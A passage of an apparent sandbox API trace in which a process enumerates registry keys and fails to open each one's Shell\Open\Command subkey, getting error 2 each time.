returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2d, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPageProp.1") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPageProp.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2e, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPageText") returned 0x0 [0101.151] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPageText\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2f, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPageText.1") returned 0x0 [0101.151] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPageText.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa30, lpName=0x2eef50, cchName=0x104 | out: lpName="NCPjcal.PjCalendar3") returned 0x0 [0101.151] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NCPjcal.PjCalendar3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa31, lpName=0x2eef50, cchName=0x104 | out: lpName="NCProv.NCProvider") returned 0x0 [0101.151] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NCProv.NCProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa32, lpName=0x2eef50, cchName=0x104 | out: lpName="NCProv.NCProvider.1") returned 0x0 [0101.151] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NCProv.NCProvider.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.151] SetLastError (dwErrCode=0x2) [0101.151] RegCloseKey (hKey=0x0) returned 0x6 [0101.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa33, lpName=0x2eef50, cchName=0x104 | out: lpName="ndfapi.NDFAPI") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ndfapi.NDFAPI\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa34, lpName=0x2eef50, cchName=0x104 | out: lpName="ndfapi.NDFAPI.1") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ndfapi.NDFAPI.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa35, lpName=0x2eef50, cchName=0x104 | out: lpName="ndfapi.NetworkDiagnostics") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ndfapi.NetworkDiagnostics\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa36, lpName=0x2eef50, cchName=0x104 | out: lpName="ndfapi.NetworkDiagnostics.1") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ndfapi.NetworkDiagnostics.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa37, lpName=0x2eef50, cchName=0x104 | out: lpName="netcenter.NCLUA") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="netcenter.NCLUA\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa38, lpName=0x2eef50, cchName=0x104 | out: lpName="netcenter.NCLUA.1") returned 0x0 [0101.152] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="netcenter.NCLUA.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.152] SetLastError (dwErrCode=0x2) [0101.152] RegCloseKey (hKey=0x0) returned 0x6 [0101.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa39, lpName=0x2eef50, cchName=0x104 | out: lpName="NetProjW.Elev") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NetProjW.Elev\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3a, lpName=0x2eef50, cchName=0x104 | out: lpName="NetProjW.Elev.1") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NetProjW.Elev.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3b, lpName=0x2eef50, cchName=0x104 | out: lpName="NetServer") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NetServer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3c, lpName=0x2eef50, cchName=0x104 | out: lpName="Network") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Network\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3d, lpName=0x2eef50, cchName=0x104 | out: lpName="NetworkConnections") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NetworkConnections\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3e, lpName=0x2eef50, cchName=0x104 | out: lpName="NetworkExplorerPlugins") returned 0x0 [0101.153] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NetworkExplorerPlugins\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.153] SetLastError (dwErrCode=0x2) [0101.153] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3f, lpName=0x2eef50, cchName=0x104 | out: lpName="new") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="new\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.154] SetLastError (dwErrCode=0x2) [0101.154] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa40, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.AppEventsDHTMLConnector") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.AppEventsDHTMLConnector\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.154] SetLastError (dwErrCode=0x2) [0101.154] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa41, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.AppEventsDHTMLConnector.1") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.AppEventsDHTMLConnector.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.154] SetLastError (dwErrCode=0x2) [0101.154] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa42, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.ComCacheCleanup") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.ComCacheCleanup\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.154] SetLastError (dwErrCode=0x2) [0101.154] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa43, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.ComCacheCleanup.1") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.ComCacheCleanup.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.154] SetLastError (dwErrCode=0x2) [0101.154] RegCloseKey (hKey=0x0) returned 0x6 [0101.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa44, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCDocConfig") returned 0x0 [0101.154] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCDocConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa45, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCDocConfig.1") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCDocConfig.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa46, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCProtocol") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCProtocol\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa47, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCProtocol.1") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCProtocol.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa48, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCVersionInfo") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCVersionInfo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa49, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCVersionInfo.1") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCVersionInfo.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.155] SetLastError (dwErrCode=0x2) [0101.155] RegCloseKey (hKey=0x0) returned 0x6 [0101.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4a, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCViewExt") returned 0x0 [0101.155] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCViewExt\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4b, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.MMCViewExt.1") returned 0x0 [0101.156] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.MMCViewExt.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4c, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.NodeInitObject") returned 0x0 [0101.156] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.NodeInitObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4d, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.NodeInitObject.1") returned 0x0 [0101.156] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.NodeInitObject.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4e, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.ScopeTreeObject") returned 0x0 [0101.156] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.ScopeTreeObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4f, lpName=0x2eef50, cchName=0x104 | out: lpName="NODEMGR.ScopeTreeObject.1") returned 0x0 [0101.156] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NODEMGR.ScopeTreeObject.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.156] SetLastError (dwErrCode=0x2) [0101.156] RegCloseKey (hKey=0x0) returned 0x6 [0101.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa50, lpName=0x2eef50, cchName=0x104 | out: lpName="NumericResourceTable.NumericResourceTable") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NumericResourceTable.NumericResourceTable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa51, lpName=0x2eef50, cchName=0x104 | out: lpName="NumericTaskTable.NumericTaskTable") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NumericTaskTable.NumericTaskTable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa52, lpName=0x2eef50, cchName=0x104 | out: lpName="Object.Microsoft.DXTFilter") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Object.Microsoft.DXTFilter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa53, lpName=0x2eef50, cchName=0x104 | out: lpName="Object.Microsoft.DXTFilter.1") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Object.Microsoft.DXTFilter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa54, lpName=0x2eef50, cchName=0x104 | out: lpName="Object.Microsoft.DXTFilterCollection") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Object.Microsoft.DXTFilterCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa55, lpName=0x2eef50, cchName=0x104 | out: lpName="Object.Microsoft.DXTFilterCollection.1") returned 0x0 [0101.157] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Object.Microsoft.DXTFilterCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.157] SetLastError (dwErrCode=0x2) [0101.157] RegCloseKey (hKey=0x0) returned 0x6 [0101.157] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa56, lpName=0x2eef50, cchName=0x104 | out: lpName="objref") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="objref\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.158] SetLastError (dwErrCode=0x2) [0101.158] RegCloseKey (hKey=0x0) returned 0x6 [0101.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa57, lpName=0x2eef50, cchName=0x104 | out: lpName="OCHelper.BrowserHelper") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OCHelper.BrowserHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.158] SetLastError (dwErrCode=0x2) [0101.158] RegCloseKey (hKey=0x0) returned 0x6 [0101.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa58, lpName=0x2eef50, cchName=0x104 | out: lpName="OCHelper.BrowserHelper.1") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OCHelper.BrowserHelper.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.158] SetLastError (dwErrCode=0x2) [0101.158] RegCloseKey (hKey=0x0) returned 0x6 [0101.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa59, lpName=0x2eef50, cchName=0x104 | out: lpName="OcOffice.FormRegionContext") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OcOffice.FormRegionContext\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.158] SetLastError (dwErrCode=0x2) [0101.158] RegCloseKey (hKey=0x0) returned 0x6 [0101.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5a, lpName=0x2eef50, cchName=0x104 | out: lpName="OcOffice.OcForms") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OcOffice.OcForms\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.158] SetLastError (dwErrCode=0x2) [0101.158] RegCloseKey (hKey=0x0) returned 0x6 [0101.158] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5b, lpName=0x2eef50, cchName=0x104 | out: lpName="OcOffice.OneNoteHelper") returned 0x0 [0101.158] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OcOffice.OneNoteHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5c, lpName=0x2eef50, cchName=0x104 | out: lpName="ocxfile") returned 0x0 [0101.159] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ocxfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5d, lpName=0x2eef50, cchName=0x104 | out: lpName="ODBC.FileDSN") returned 0x0 [0101.159] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ODBC.FileDSN\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5e, lpName=0x2eef50, cchName=0x104 | out: lpName="odc.cube") returned 0x0 [0101.159] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odc.cube\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5f, lpName=0x2eef50, cchName=0x104 | out: lpName="odc.database") returned 0x0 [0101.159] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odc.database\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa60, lpName=0x2eef50, cchName=0x104 | out: lpName="odc.new") returned 0x0 [0101.159] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odc.new\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.159] SetLastError (dwErrCode=0x2) [0101.159] RegCloseKey (hKey=0x0) returned 0x6 [0101.159] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa61, lpName=0x2eef50, cchName=0x104 | out: lpName="odc.table") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odc.table\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.160] SetLastError (dwErrCode=0x2) [0101.160] RegCloseKey (hKey=0x0) returned 0x6 [0101.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa62, lpName=0x2eef50, cchName=0x104 | out: lpName="odc.tablecollection") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odc.tablecollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.160] SetLastError (dwErrCode=0x2) [0101.160] RegCloseKey (hKey=0x0) returned 0x6 [0101.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa63, lpName=0x2eef50, cchName=0x104 | out: lpName="odccubefile") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odccubefile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.160] SetLastError (dwErrCode=0x2) [0101.160] RegCloseKey (hKey=0x0) returned 0x6 [0101.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa64, lpName=0x2eef50, cchName=0x104 | out: lpName="odcdatabasefile") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odcdatabasefile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.160] SetLastError (dwErrCode=0x2) [0101.160] RegCloseKey (hKey=0x0) returned 0x6 [0101.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa65, lpName=0x2eef50, cchName=0x104 | out: lpName="ODCfile") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ODCfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.160] SetLastError (dwErrCode=0x2) [0101.160] RegCloseKey (hKey=0x0) returned 0x6 [0101.160] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa66, lpName=0x2eef50, cchName=0x104 | out: lpName="odcnewfile") returned 0x0 [0101.160] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odcnewfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 